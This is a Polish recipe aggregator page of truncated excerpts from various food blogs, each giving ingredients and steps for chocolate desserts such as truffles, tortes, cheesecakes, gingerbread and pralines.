Trufle czekoladowe Potrzebujemy: 200 ml słodkiej śmietanki 36% 200 g gorzkiej czekolady dobrej jakości kakao do obtoczenia Dodatkowo sok i skórka z połowy pomarańczy lub pół łyżeczki chili Czekoladę kroimy na niezbyt duże kawałki. Zalewamy ją śmietanką i umieszczamy w kąpieli wodnej (w szklanej lub metalowej miseczce, nad garnkiem z gotującą się wodą). Cały czas mieszamy, do momentu aż czekolada

Okolice Palnika
Deser z "Schoko Bons" 357

Orzechy laskowe, czekolada, kaszka manna i Schoko Bons. Tworząc ten deser wiedziałam, że będzie dobry, ale efekt przeszedł wszelkie moje oczekiwania. Jest to jeden z najlepszych deserów jakie jadłam, mimo, że jest taki prosty w wykonaniu. Polecam wypróbować, bo naprawdę warto. Deser z "Schoko Bons" -  Składniki:    1/2 l mleka    4 łyżki kaszy manny(...)cukierków Kinder Schoko Bons    2 łyżki mleka       kilka orzechów laskowych (posiekanych)       6 cukierków Schoko Bons (do dekoracji)    50 g czekolady mlecznej    3 łyżki mleka Deser z "Schoko Bons" -  Sposób przygotowania: Mleko zagotować z cukrem i cukrem z prawdziwą wanilią, dodać kaszkę i gotować ok. 3 minuty

Słodka Strona
Tort "Rafaello" - Najlepszy 189

lubi popularne pralinki "Raffaello" z pewnością pokocha "Tort Rafaello". Przepyszny, aksamitny, rozpływający się w ustach krem, kokos, migdały, oraz puszysty, delikatny biszkopt naponczowanym malibu. Wszystko pokrywa biała czekolada oprószona wiórkami kokosowymi - ideał. Ponadto "tort Rafaello" jest eleganckim i nietrudnym w przygotowaniu ciastem. Polecam przepis.  Tort "Rafaello" - Składniki: biszkopt: 4 jajka 8 łyżek cukru 3/4 szklanki mąki ziemniaczanej(...)łyżeczka proszku do pieczenia cukier waniliowy masa: 500 ml mleka budyń śmietankowy łyżka mąki ziemniaczanej 1/3 szklanki cukru żółtko 125 g masła cukier waniliowy polewa: 75 g białej czekolady 40 g masła 2 łyżki mleka 100 g cukru pudru ok. 75 g wiórków kokosowych ok. 50 g płatków migdałów ok. 75 g wiórków kokosowych (na wierzch) odrobina malibu/ wódki rozcieńczonej

Słodka Strona
Makowiec 154

łyżek cukru 100 g masła jajko szklanka mleka (ciepłego) 40 g drożdży szczypta soli płaska łyżeczka kurkumy Dodatkowo: gotowa masa makowa garść orzechów laskowych ok. 6 kostek mlecznej czekolady Wykonanie: Mąkę przesiewamy do miski. Do miseczki kruszymy drożdże, następnie dodajemy szklankę mąki, 3 łyżki cukru, oraz ciepłe mleko.  Dokładnie mieszamy.  Odstawiamy do ciepłego miejsca i nakrywamy ściereczką(...)naszą stolnicę i dzielimy na dwie (z mojego przepisu wyszły dwa duże makowce). Każdą część wałkujemy na cienkie prostokąty. Masę makową, wieszać z posiekanymi orzechami lakowymi i pokruszoną czekoladą. Następnie dzielimy na dwie części.  Na makowca kładziemy masę i dokładnie zawijamy.  Tak samo robimy s drugą częścią.  Wykładamy na blachę i znów dajemy im podrosnąć. Piekarnik nagrzewamy

Moje pyszne gotowanie
Czekoladowe grzebienie 162

przekona :D. A dzisiaj powrót w moich postach do ciast drożdżowych, a mowa o bułeczkach. Mięciutkie, i łatwe do zrobienia, a nadzienie banalne : wystarczy w domu gorąca czekolada instant lub kakao i można się cieszyć tymi pysznościami. Jak powiedziałam jakie dam nadzienie w domu, byli trochę sceptyczni to tego. Potem jednak zajadali buły, aż im się uszy trzęsły :). Składniki(...)stolnicę. Nasze ciasto dzielimy na dwie części. Pierwszą i drugą rozwałkowujemy na prostokąt cieniutko.  Białka delikatnie roztrzepujemy i smarujemy nim pół naszego prostokąta, następnie sypiemy po całości naszą czekoladę na gorąco instant. Dokładnie, tak aby cała połowa była nią pokryta. Przykrywamy naszą drugą połową tego samego prostokąta i znów połowę, tego ciasta smarujemy białkiem i obsypujemy czekoladą, znów nakrywamy

Moje pyszne gotowanie
Czekoladowa babka budyniowa 183

Składniki: 1/2 kostki masła (lub ewentualnie margaryny), 5 jaj , 3/4 szklanki cukru , 1 łyżeczka proszku do pieczenia , 5 opakowań budyniu czekoladowego , 3 łyżki ciemnego gorzkiego kakao . Do dekoracji: tabliczka czekolady , 3 łyżki słodkiej śmietanki , dowolna posypka - ja użyłam prażonych ziaren amarantusa (popping). Wykonanie jest bardzo proste i szybkie. Wszystkie składniki utrzeć mikserem na gładką masę. (Budynie dodajemy(...)suche, prosto z torebki.) Piec około 40-45 minut w keksówce lub formie od babki. Temperatura pieca to około 175-180 stopni. Czekoladę stopić w kąpieli wodnej - mniejszy garnuszek z pokruszoną czekoladą wstawić do większego wypełnionego delikatnie gotująca się wodą. Dodać śmietankę i podgrzewać do całkowitego połączenia składników. Lekko przestudzić i rozprowadzić

Codzienna kuchnia niecodzienna
Sernik gotowany na kruchym cieście makowym 4175

pieczenia masa serowa 450g twarogu półtłustego trzykrotnie zmielonego 90g masła 70g cukru pudru 50ml mleka 2 żółtka 15g mąki ziemniaczanej olejek migdałowy polewa śmietankowa 150ml śmietanki 30% 50g białej czekolady garść orzechów laskowych do dekoracji Wykonanie: - składniki na ciasto kruche powinny być zimne, na masę serową - w temperaturze pokojowej  KRUCHE CIASTO MAKOWE - mąkę przesiać z proszkiem do pieczenia(...)jeśli są w łupinkach, należy podprażyć je kilka minut w piekarniku, uprażone gorące przełożyć do czystej ściereczki kuchennej, pocierając zdjąć skórki z orzechów - obrane orzechy pokroić na duże kawałki - czekoladę rozpuścić w kąpieli wodnej - zimną śmietankę ubić na sztywno - do lekko ostudzonej czekolady (nie może być za zimna, gdyż w kontakcie z zimną śmietanką od razu się zetnie) dodawać małymi

Smakołyki Bereniki
Najlepszy Piernik 362

przypalał od spodu doprowadzamy do otrzymania konsystencji gęstego budyniu. Odstawiamy do ostygnięcia. Wystudzony krem ucieramy z masłem. Dodatkowo: 1 słoiczek powidła śliwkowego lub konfitury jabłkowej 100 g gorzkiej czekolady 50 g mlecznej czekolady Wykonanie: Pierwszy blat ciasta smarujemy 1/3 konfitury, następnie nakładamy 1/3 kremu grysikowego. Powtarzamy czynność jeszcze dwa razy. Przykrywamy ostatnim blatem ciasta. Czekoladę rozpuszczamy z odrobiną mleka

Made By Mom And Son
Tort porzeczkowy 145

puder. Wymieszać. Do nasączenia: 100 ml likieru z czarnej porzeczki 50 ml naparu z czarnej herbaty Przygotować poncz z likieru i herbaty. Ponadto: 400 g konfitury z czarnej porzeczki czekolada do dekoracji 30 dag zmielonych ciastek owsianych z czekoladą Przygotowanie: Ostudzone ciasto przekroić na dwie części. Jedną część nasączyć połową ponczu. Następnie rozprowadzić po całości połowę konfitury. Nałożyć całość kremu(...)maślanego i dokładnie wyrównać. Położyć drugi blat. Nasączyć pozostałością ponczu. Posmarować konfiturą. Wierzch oraz boki posmarować bitą śmietaną i posypać zmielonymi ciasteczkami. Ozdobić bitą śmietaną i czekoladą. Schłodzić przez kilka godzin w lodówce

Food Square
Mona de Pascua 184

zastępowaną często czekoladowym odpowiednikiem). Monę formuje się w różny sposób, najpopularniejsze są wieńce, króliki, żółwie, węże, jaszczurki i małpy. Często przyozdabia się ją również kolorowymi posypkami i polewami oraz czekoladą, jak to ma miejsce w Katalonii. Będąc w Barcelonie miałem okazję zobaczyć Mony o wiele bardziej fantazyjne, z dużą ilością dodatków, zdobień, przypominające często torty o nietypowych i niekoniecznie wielkanocnych(...)cukru 1 jajko skórka otarta z 1 pomarańczy szczypta soli Dodatkowo: 1 żółtko rozbełtane z 1 łyżką mleka do posmarowania ugotowane, a także pomalowane jajka (pisanki) lub jajka z czekolady barwniki spożywcze, kolorowe posypki, figurki z cukru, czekoladowe dekoracje Przygotowanie: Mąkę wymieszać z suchymi drożdżami. Jeśli korzystacie ze świeżych to należy zrobić rozczyn z mleka, 1 łyżki mąki oraz

Food Square
Pszczeli tort z jagodami 210

Pszczółki z marcepanu (składniki na 20 sztuk) : 200 g masy marcepanowej* 50 g białego lukru plastycznego** żółty barwnik w proszku lub paście płatki migdałów 4 kostki gorzkiej  czekolady (o zawartości kakao przynajmniej 70%) Do masy marcepanowej dodać żółtego barwinka i wyrobić do połączenia koloru. Podzielić na 20 równych części i uformować tułowia pszczółek. Z lukru plastycznego uformować(...)oczy i doczepić je do tułowia. Pozostałą część lukru połączyć z 3 kostkami roztopionej czekolady i uformować z niego paseczki. Pszczółkom doczepić skrzydełka z migdałów oraz domalować źrenice pędzelkiem zamoczonym w czekoladzie. Pszczółki ułożyć na torcie. Z dodatkowej części lukru możemy również przygotować listki i łodygi do naszych borówkowych kwiatków. Wystarczy do lukru dodać zielonego barwnika. A tutaj jeszcze jeden

Food Square
Sernik kokosowy na spodzie z oreo 188

delikatną nutkę kokosową. Jest absolutnie idealny. Na spód wykorzystałem ciasteczka oreo wymieszane z wiórkami kokosowymi, co okazało się świetnym połączeniem. Górę sernika zdobi zaś krem z białej czekolady oraz płatki świeżego kokosa. Gorąco polecam, bo smakuje wspaniale! :) Spód: 240 g ciasteczek oreo lub innych podobnych, np. neo 100 g wiórek kokosowych 60 g roztopionego masła Ciasteczka rozetrzeć na pył(...)nagrzanego do 160 °C  piekarnika i piec przez około 90 minut, aż do suchego patyczka. Sernik wystudzić przy uchylonych drzwiczkach piekarnika. Wierzch: 200 g mascarpone 100 g białej czekolady 1 łyżka cukru pudru płatki świeżego kokosa z około połówki orzecha Czekoladę rozpuścić w kąpieli wodnej, nieco przestudzić, a następnie powoli wlewać wmiksowując ją do serka mascarpone. Dodać cukru

Food Square
Praliny migdałowe z rumem 96

Składniki: 200g białej czekolady 125ml śmietany 36% 200g mielonych migdałów 1 łyżeczka cukru pudru 2 łyżki masła 4-5 łyżek rumu dodatkowo 100g migdałów do obtoczenia Przygotowanie: Śmietanę wlewamy do garnka z grubym dnem i dodajemy masło. Podgrzewamy na małym ogniu i dodajemy kawałki czekolady. Mieszamy aż czekolada się rozpuści. Do jednolitej masy dodajemy cukier, mielone migdały i rum. Masę

Smakowity Blog Kulinarny
Muffiny orzechowe z kremem mascarpone 171

przekładamy do nich ciasto (troszkę mniej niż pół papilotki - babeczki urosną).  Pieczemy około 20 minut w temperaturze 190ºC. Składniki na krem: 250 g serka mascarpone 1 tabliczka białej czekolady Czekoladę rozpuszczamy w kąpieli wodnej. Serek mascarpone (w temperaturze pokojowej) ucieramy mikserem na puszysty krem. Następnie stopniowo dodajemy przestudzoną czekoladę, cały czas ucierając. Gotowy krem musimy schłodzić przez 1 godzinę

Smakowity Blog Kulinarny
Mus Świąteczny 4531

miskach, jednak w tym roku powstała wersja mini w szklaneczkach i jest równie udana.  Składniki: 6 pomarańczy  80 g posiekanych migdałów 6 łyżeczek żelatyny 500 g białej czekolady 400 ml śmietany 30% 1 torebka cukru wanilinowego 20 g płatków migdałów 30 g posiekanej pistacji kilka kropli aromatu migdałowego Przygotowanie: Obieramy pomarańcze i kroimy na plastry(...)dekoracji góry) Migdały siekamy na drobno i z płatkami migdałowymi delikatnie je uprażmy. Śmietanę ubijamy na sztywną pianę, w kąpieli wodnej rozpuszczamy białą czekoladę, w osobnej szklance rozpuszczamy żelatynę. Delikatnie mieszając do piany dodajemy aromat migdałowy, cukier wanilinowy, połowę pistacji i większą część uprażonych migdałów. Delikatnie mieszając dodajemy roztopioną czekoladę i żelatynę. Gotowy mus przelewamy

Niezły Młynek
Gwiazda: świeża mięta 151

pierwszej, ale ponieważ następnego dnia miałam wolne, poszłam do kuchni. Posiekałam sobie miętę, roztopiłam masło, zaczęłam mieszać suche składniki. Mąka, proszek, cukier, odrobina soli, kakao... Zaraz, zaraz, kakao? Nie czekolada...? Ano nie. Nie szkodzi. Sięgam do szafki, wyjmuję opakowanie kakao, jakoś podejrzanie lekkie. Wsypuję do mąki, i co się okazuje...? Że tam raptem szesnaście gram... Szesnaście! A gdzie pozostałe dwieście(...)ciepłe, ale muszę przyznać, że po wystygnięciu są jeszcze lepsze - chrupkie z wierzchu, cudownie ciągnące w środku. Obłędnie czekoladowe (nikt by się nie domyślił, że w składnikach nie ma czekolady), mini wersje popularnego brownie. Mięta jest wyraźnie wyczuwalna, nabiera mocy każdego dnia leżakowania. I choć jej jest tylko dziesięć gram, to zapewniam, że to całkiem sporo. Ja musiałam niemal ogołocić

Pożeraczka, czyli raz adobrze
Bajaderki 183

suszonej żurawiny; 200g powideł śliwkowych; 100ml mleka; 100g margaryny; 125g białego cukru; 4 łyżeczki kakao 3 krople aromatu migdałowego; 50g płatków migdałowych do posypania.  Polewa czekoladowa: 100g gorzkiej czekolady; 100ml mleka; 15g cukru; 15g margaryny.   Sposób przygotowania: W rondelku podgrzać mleko. Rozpuścić w nim margarynę. Dodać cukier, rodzynki, żurawinę, kakao i aromat migdałowy. Dobrze wymieszać. Ciastka rozkruszyć(...)miał. Dodać do masy i dokładnie wymieszać. Odstawić do wystygnięcia. W międzyczasie przygtować polewę. Do rondelka wlać mleko i wsypać połamaną na kostki czekoladę. Gotować, aż do całkowitego ropuszczenia się czekolady. Zestawić z ognia dodać cukier i margarynę. Mieszać, aż do całkowitego połączenia się składników. Z wystudzonego ciasta formułować kule. Każdą kulę wkładać do papilotki, polewać polewą czekoladową i posypywać

Gospodyni Miejska
Stefanka 342

Stefanka... Intensywnie miodowe ciasto. Krem na bazie kaszy manny. Wierzch oblany gorzką czekoladą. Pyszne ciasto, które elegancko wygląda i łatwo się kroi. Polecam!   Składniki: Ciasto: 500 g mąki pszennej; 3/4 szklanki białego cukru; 200 g margaryny; 2 łyżki miodu; 2 jaja; 1 łyżeczka sody. Krem: 1 litr mleka (u mnie 0,5%); 3/4 szklanki białego cukru; 200 g margaryny(...)cukier wanilinowy; 9 łyżek kaszy manny. Polewa: 100 g gorzkiej czekolady; 125 g margaryny. Sposób wykonania: Ciasto: Wszystkie składniki ciasta zagnieść (tak jak ciasto kruche). Ja robię tak, że do misy od robota kuchennego wsypuję wszystkie składniki ciasta i wyrabiam hakiem do ciasta drożdżowego. Można oczywiście ciasto zagnieść ręcznie. Ciasto podzielić na 3 równe części. Każdą z części ciasta roprowadzić

Gospodyni Miejska
Dyniowy Whesley z granatem 144

Dyniowa, aksamitna niespodzianka z dodatkiem likieru Whesley, z gorzką czekoladą i lekko kwaskowatymi granatami. Prosty deser na wyjątkowe okazje. Czas przygotowania: 60 minut  Porcje: 6     Składniki: 150 g serka śmietankowego Almette, 330 ml śmietany 30%, 4 łyżki cukru, 4 łyżki likieru Whesley,  2 łyżki melasy z granatem, 1 granat, 2 łyżeczki żelatyny, Esencja waniliowa(...)gorzkiej czekolady, 2 szklanki puree z dyni. Przygotowanie: Likier Whesley wymieszać z żelatyną. W rondlu podgrzać 100 ml śmietany, dodać żelatynę, cukier i puree z dyni, wymieszać, odstawić do lodówki. Krem czekoladowy: czekoladę stopić w kąpieli wodnej z dodatkiem melasy, dodać 4 łyżki śmietany, wystudzić. Pozostałą śmietanę ubić na sztywno, wymieszać z dynią i serkiem Almette. Przełożyć warstwami do szklanki

SzczyptaSmaQ
Ciasteczka z nadzieniem orzechowo - migdałowym 130

Dzisiaj zapraszam na przepyszne ciasteczka nadziewane pianką z orzechami - migdałami i czekoladą :) Tak przygotowane ciasteczka w sam raz nadają się na przyjście niespodziewanych gości jak i na świąteczny stół :) połączenie tych przepysznych składników daje niesamowity smak :) Składniki : 40 dag mąki  1 margaryna 5 żółtek 1 łyżka kwaśnej śmietany 1 cukier waniliowy Skworcu 1 łyżeczka proszku do pieczenia 1/2 szkl(...)cukru Nadzienie ; 5 białek 1 cukier waniliowy Skworcu 2 łyżki cukru pudru 1/2 tabliczki dowolnej czekolady mlecznej 40 g orzechów laskowych Skworcu 40 g migdałów Skworcu Sposób przygotowania : 1. Do miski przełożyć wszystkie składniki podane na ciasto i wymieszać mikserem . Gdy ciasto będzie grudkowate przełożyć na stolnicę i szybko zagnieść. 2. Z ciasta formować kulki wielkości orzecha włoskiego . Ułożyć

Sama słodycz i szczypta chili
Tort mokka 288

Krem. 3 łyżeczki kawy rozpuszczalnej 1 łyżka wody wrzącej 1 łyżka spirytusu 500 ml śmietany kremówki 1 łyżka cukru pudru 2 szt. śmietan-fix Dekoracja. 1 wafel 5 dag czekolady Wykonanie. Do miski przesiać mąkę z proszkiem, dodać cukier, jajka, olej, mleko i wymieszać, ubić łyżką na gładką masę. Ciasto przełożyć do 3 foremek(...)gorącej wodzie, dodać spirytus. Śmietanę ubić z cukrem i zagęstnikiem ,dolać kawę, wymieszać. Krążki ciasta nasączyć ponczem z herbaty, cukru i soku z cytryny, przełożyć kremem kawowym. Dekoracja.  Czekoladę stopić z łyżką śmietanki. Wafel pokroić w trójkąty, posmarować czekoladą i ułożyć dekoracyjnie na wierzchu tortu

Kulinarny karnet Christophera
DOMOWA BEZGLUTENOWA PRZYPRAWA DO PIERNIKA (i innych ciast i ciasteczek korzennych). 249

łyżki, - Kardamon , 5 łyżeczek, - Anyż, gwiazdka spora, - Pieprz kolorowy , 1/4-1/5 łyżeczki, - Korzeń Lukrecji , 2 łyżeczki, - Gałka Muszkatołowa, 2 łyżeczki,  - Imbir, 2 łyżeczki, - Kolendra, łyżka, - Skórka z cytryny, - Gorąca Czekolada "Nastrojowy wieczór" , 3 łyżki, - Kawa marcepanowa, 2 łyżki, - Cykoria, 2 łyżki,  Wykonanie: Wszystko mielimy, parzymy cytrynę i ścieramy skórkę. Mieszamy. Gotowe! :)))) Taka mieszanka może czkać na mocne wejście przez(...)ARABICA to najlepszy gatunek kawy. Pochodzi z wyżyn Etiopii. Uprawiana w Afryce, Ameryce Południowej i w Azji. Jej ziarna są dość twarde i dają aromatyczny napar." (Opis: Skworcu). Gorąca Czekolada Nastrojowy Wieczór: "W ysokiej klasy napój czekoladowy o zawartości kakao aż 70%. Dodatek drobnych kawałeczków skórki pomarańczowej i cytrynowej podkreśla smakowe walory napoju i nadaje mu orzeźwiającej nuty. Mieszanka korzennych

Wypisz Wymaluj
SZYBKI, WILGOTNY I PYSZNY PIERNIK, NA MĄCE ORKISZOWEJ 647

łyżeczki sody - 1-2 łyżki ciemnego kakao - 2 jajka - 2 pełne łyżki kawy inki (pominęłam) Przełożenie: - ok.400-430g powideł (dałam własne bez dodatku cukru ) Polewa: - 100g gorzkiej, deserowej lub mlecznej czekolady - 1/3 szklanki kremówki 30% W garnku na małym palniku roztopić masło z ksylitolem (lub cukrem) dodać mleko, miód, cynamon, powidła, przyprawę korzenną, kakao i kawę (gdy dodajemy). Mieszając doprowadzić(...)piernika. Przełożony piernik odstawić do ściągnięcia, ja wstawiłam go na jakiś czas do lodówki. W tym czasie przygotować sobie polewę. Do rondelka wlać śmietanę, dodać połamaną na mniejsze kawałki czekoladę i mieszając na małym palniku podgrzewać do całkowitego rozpuszczenia. Można także w rondelku zagotować kremówkę, zdjąć z palnika i wówczas dodać połamaną na małe kawałki czekoladę i mieszać do rozpuszczenia

Smaczne Zdrowe
Ciasteczka Renifery 1046

Prostą i uroczą dekorację wykonacie w dosłownie kilka chwil na dowolnych ciasteczkach - pierniczkach lub prostych kruchych maślanych. Składniki na kruche ciasteczka + cytryna, cukier puder, Lentilki lub M&Msy , czekolada do rozpuszczenia Z opakowania wybieramy czerwone cukierki. Ciasto przygotowujemy według przepisu . Masło wyciągamy wcześniej z lodówki, kroimy na małe kawałeczki i odstawiamy, żeby zmiękło. Suche składniki mieszamy razem w misce(...)ciasteczka i przekładamy na blachę wyłożoną papierem do pieczenia. Pieczemy około 10 minut w piekarniku rozgrzanym na 180 stopni W malutkiej miseczce mieszamy sok z cytryny i cukier puder. Czekoladę rozpuszczamy i przekładamy do woreczka strunowego - nie może być zbyt gorące, ale musi ciągle jeszcze być płynne. Odcinamy malutki rożek worka. Na ciasteczka przyklejamy lukrem cukierki. Rozpuszczaną czekoladą malujemy oczka

Ciastkozercy
Sernik z piernikami i czekoladowymi kropkami 355

łyżki płaskie kakao Masa serowa 1,2 kg twarogu 250 g cukru trzcinowego 7 jajek   4 łyżki kwaśnej gęstej śmietany 18 % 2 łyżeczki esencji waniliowej  1 czekolada mleczna 300 g pierniczków w czekoladzie z marmoladą (typu Alpejskie) Polewa 50 ml wody 50 ml kremówki 80 g cukru pudru 20 g kakao  1 łyżeczka żelatyny 10 ml wody(...)wmieszać delikatnie do masy serowej. Odłożyć 1 szklankę masy serowej. Połowę masy serowej wyłożyć na spodzie z herbatników, ułożyć gęsto pierniki i wyłożyć resztę masy serowej. Wyrównać powierzchnię.   Czekoladę mleczną rozpuścić w kąpieli wodnej i  przestudzić. Dodać do odłożonego sera i wymieszać. Przełożyć do worka cukierniczego z okrągłą końcówką i lekko zatapiając końcówkę w masie serowej wycisnąć czekoladowe

Ala piecze i gotuje
Tort bezowy z kremem orzechowym ala Ferrero Rocher i powdłami 540

Beza: 6 białek w temperaturze pokojowej 1 szklanka drobnego cukru 1 łyżka mąki ziemniaczanej 1 łyżeczka octu Krem: 250 g serka mascarpone 200 g nutelli 100 g gorzkiej czekolady pół szklanki drobno posiekanych orzechów laskowych około 7-8 sztuk pralinek Ferrero Rocher Dodatkowo: powidła śliwkowe Przygotowanie: Białka powinny być w temperaturze pokojowej, najlepiej dzień wcześniej wyciągnąć je z lodówki(...)sposób otrzymamy 3 identyczne blaty. Pieczemy przez 75 minut w piekarniku nagrzanym do 150 stopni z termoobiegiem (wszystkie blaty jednocześnie). Gotowe blaty wyjmujemy z piekarnika i studzimy. Przygotowujemy krem. Czekoladę rozpuszczamy w kąpieli wodnej, odstawiamy do przestygnięcia. W wysokim naczyniu miksujemy serek mascarpone z nutellą, do otrzymania gładkiej masy. Dodajemy czekoladę i ponownie miksujemy. Na końcu dodajemy orzechy oraz pokrojone

Mania Gotowania
Batoniki amarantusowe z żurawiną 184

możecie zapakować i podarować jako słodki prezent - obdarowana osoba na pewno się ucieszy. Składniki: * 50 g poppingu z amarantusa ( do kupienia TU ) * 80 g suszonej zurawiny * 100 g białej czekolady * 1 łyżka dobrego oleju rzepakowego * 80 ml mleka zagęszczonego słodzonego Wykonanie: Czekoladę rozpuścić w kąpieli wodnej, dodając olej rzepakowy. Do rozpuszczonej czekolady wsypać popping z amarantusa, dodać żurawinę i mleczko

kolorowotorcikowo
Tort z Pingwinami- krok po kroku 2566

suchego patyczka. /mojewypieki.com/ KREM CZEKOLADOWY: 4 jajka  1,5 szklanki cukru 300g masła bez dodatku oleju  50 ml spirytus lub wódki 30g cukru wanilinowego  200g czekolady gorzkiej ( mleczna, biała -wedle gustu) Jajka ubijamy z cukrem, cukrem waniliowym i solą w kąpieli wodnej do momentu, aż masa zbieleje, powiększy znacznie swoją objętość i będzie bardzo ciepła(...)czasie zdejmujemy masę z ognia, nie przerywając ubijania od razu wstawiamy ją w większą miskę z zimną wodą i ucieramy masę mikserem do momentu, aż przestygnie. Czekoladę roztapiamy w kąpieli wodnej i studzimy. Masło (w temperaturze pokojowej) ucieramy mikserem do białości i dodajemy do niego rozpuszczoną czekoladę (oba składniki muszą być w tej samej temperaturze). Następnie dodajemy

Pudełko rozmaitości
Brownies z brzoskwiniami 360

mogę zrozumieć co w nim jest że jestem tak od niego uzależniona.... Jest pyszne, niesamowite, nie mogę się opamiętać by przestać je jeść.....Polecam .  Składniki: 110 gr ciemnej czekolady- gorzkiej 85 gr kakao 225 gr masła 450 gr brązowego cukru 5 jajek 110 gr self raising mąki* 2 puszki brzoskwiń *self raising - odpowiada 2 łyżeczkom proszku do pieczenia(...)każde 150 gr zwykłej mąki. Wykonanie: Brzoskwinie odcedzić z soku. Podsuszyć ręcznikami papierowymi. W rondlu rozpuścić masło, czekoladę I kakao. Po rozpuszczeniu odstawić do lekkiego schłodzenia. W misce ubijamy jajka z cukrem. Po ubiciu na puszystą masę dodajemy rozpuszczoną  czekoladę. Ubijamy. Dodajemy mąkę nie przerywając ubijania. Brzoskwinie pół brzoskwiń pokrojonych w cząstki dodajemy do ubitego ciasta. Mieszamy. Ciasto wlewamy

Smaki Edyty
Pastel de 3 leches - meksykańskie ciasto Trzy Mleka 140

żółtka 6 białek 300 g mleka pasteryzowanego 500 g mleka zagęszczonego słodkiego 340 g śmietany kremowej 18% (lub mleka zagęszczonego bez cukru) 400 g śmietanki 30% do ubijania owoce, czekolada, orzechy wg gustu do dekoracji odrobina tłuszczu i bułki tartej (lub kaszy manny) do natłuszczenia i obsypania dna foremki Przygotowanie: Z białek ubij pianę na sztywno. W misce wymieszaj żółtka(...)będzie widać. Odstaw do lodówki do całkowitego wchłoniecia mleka przez ciasto, najlepiej na całą noc. Ubij na sztywno śmietankę 30% i pokryj nią górę ciasta, a następnie udekoruj czekoladą, owocami, orzechami - czym chcesz i jak chcesz. Ciasto przechowuj w lodówce. Podawaj na talerzyku, podlewając zbierającym się na dnie foremki mlekiem. Ciasto po prostu musi nim ociekać, tak bardzo

Grahamka, weka i kajzerka
Kruche roladki z czekoladą 163

Zapraszam dzisiaj na kruche, maślane roladki z dodatkiem czekolady. Proste w przygotowaniu i nie wymagają dużej ilość składników, a są przepyszne. Wspaniałe do popołudniowej herbaty, chrupiące, pachnące i przypominają mi trochę w smaku herbatniki posypane cukrem. Bardzo polecam… (inspiracja z książki „Słodki Świat Kasi).   Porcelana ze sklepu Maxwell and Williams z kolekcji White Rose .     Składniki na około(...)roladek: Ciasto: 250g schłodzonego masła 420g mąki pszennej (użyłam tortowej) 200g cukru 2 duże jajka Dodatkowo: 1 białko lekko rozbełtane widelcem 100g gorzkiej czekolady drobno poszatkowanej lub zmielonej w blenderze     1. Do mąki zetrzeć schłodzone masło na tarce z dużym oczkami (można też masło drobno pokroić). Dodać cukie, jajka i szybko zagnieść ciasto. Zawinąć je w folię spożywczą

Mała Cukierenka
Tort czekoladowy z bananami 235

500g śmietanki kremówki 30% lub 36% 40g ciemnego kakao bez cukru 60g cukru 4 łyżeczki żelatyny 5 bananów 1/2 cytryny Polewa: 250g śmietanki kremówki 30% lub 36% 150g gorzkiej czekolady o zawartości kakao 70% (jeśli użyjemy czekolady 60%, to proszę dodać jej wtedy 50g więcej, czyli razem 200g) 50g masła Dodatkowo: około 100g dżemu porzeczkowego (ja użyłam malinowego) banan(...)rozmieszać. Następnie żelatynę dodać do pozostałego kakaowego kremu i wymieszać dokładnie łyżką. Krem rozłożyć na banany w tortownicy. Polewa: 9. Do rondelka z grubym dnem dodać śmietankę, połamaną czekoladę i masło. Podgrzewać, mieszając, aż składniki połączą się w jednolitą masę (nie gotować). Polewę odstawić do ostygnięcia na około 10-15 minut i jeszcze ciepłą wylać na wierzch ciasta. Tort wstawić

Mała Cukierenka
Szachownica inaczej 645

łyżeczki proszku do pieczenia  6 jajek Masa śmietanowa : 1,5 l kremówki 30 % łaciatej  1 szkl cukru pudru 1 cukier wanilinowy 2 wafelki Knoppers  4 kostki czekolady Milka  6 łyżeczek żelatyny  100 ml przegotowanej wody Wykonanie ; Jajka ubić  z cukrem i cukrem wanilinowym . Dodać mąkę z proszkiem i kakao . Wymieszać . Blaszkę wyłożyć papierem tylko(...)przegotowanej wodzie. Śmietanę ubić z cukrem pudrem i cukrem wanilinowym . Do żelatyny dodać kilka łyżek śmietany i wymieszać . Przelać do reszty śmietany i jeszcze raz wymieszać mikserem . Wafelki i czekoladę zetrzeć na tarce jarzynowej do masy i jeszcze raz delikatnie wymieszać .  Z ciasta ściąć około 2 cm górnej warstwy . Spód ciasta pociąć wzdłuż na 7 równych pasków. Warstwy ciasta

Sama słodycz i szczypta chili
Muffinki dyniowe z aromatem imbiru 140

Puszyste muffinki z pieczonej dyni z aromatem imbiru, polane polewą z białej czekolady, cukru pudru i musu z dyni. Muffinki są bardzo smaczne i lekko wilgotne. Idealne na podwieczorek lub słodką przekąskę PS. Polewa ma piękny złoty kolor, którego na drugim zdjęciu niestety nie widać :/ Składniki (na 12 babeczek): 3/4 szklanki musu z dyni* + 2 łyżki do polewy 3 jajka(...)szklanki mąki 1/2 szklanki oleju (użyłam rzepakowego) 1 łyżeczka suszonego imbiru 1 płaska łyżeczka proszku do pieczenia 1 płaska łyżeczka sody oczyszczonej szczyptę soli Polewa: 50 g białej czekolady 5 łyżek cukru pudru 1 łyżeczka soku z cytryny 2 łyżki musu z dyni Przygotowanie: * Aby zrobić mus z dyni należy dynię umyć, pokroić na kawałki i za pomocą łyżki wydrążyć

Oryginalny smak
Czekoladowe tartaletki z masą karmelowo-orzechową 277

szklanki wody 1 szklanka orzechów włoskich 1/3 szklanki śmietanki 30% 1 serek Apetina naturalny 1 łyżeczka masła Czekoladowe listki: listki np. mięty, róży, bazylii, wiśni (nie trujące!) kuwertura lub czekolada Przygotowanie: Kruche ciasto: Do miski przesiewamy mąkę, wsypujemy cukier puder i kakao. Dokładnie mieszamy i dodajemy żółtka i masło, które siekamy na malutkie kawałeczki (składniki można również przełożyć do malaksera(...)pryskać!). Mieszamy tak długo, aż składniki się połączą. Lekko studzimy, wsypujemy orzechy włoskie i dodajemy serek. Wszystko dokładnie mieszamy i wypełniamy tartaletki. Schładzamy. Czekoladowe listki: Listki myjemy i osuszamy. Czekoladę roztapiamy w kąpieli wodnej. Trzymając za ogonek, za pomocą pędzelka smarujemy czekoladą spód liścia (dość grubą warstwę, będzie łatwiej odrywać) i wstawiamy do lodówki, aż stwardnieją. Następnie delikatnie odrywamy listki

Oryginalny smak
Bajaderka 152

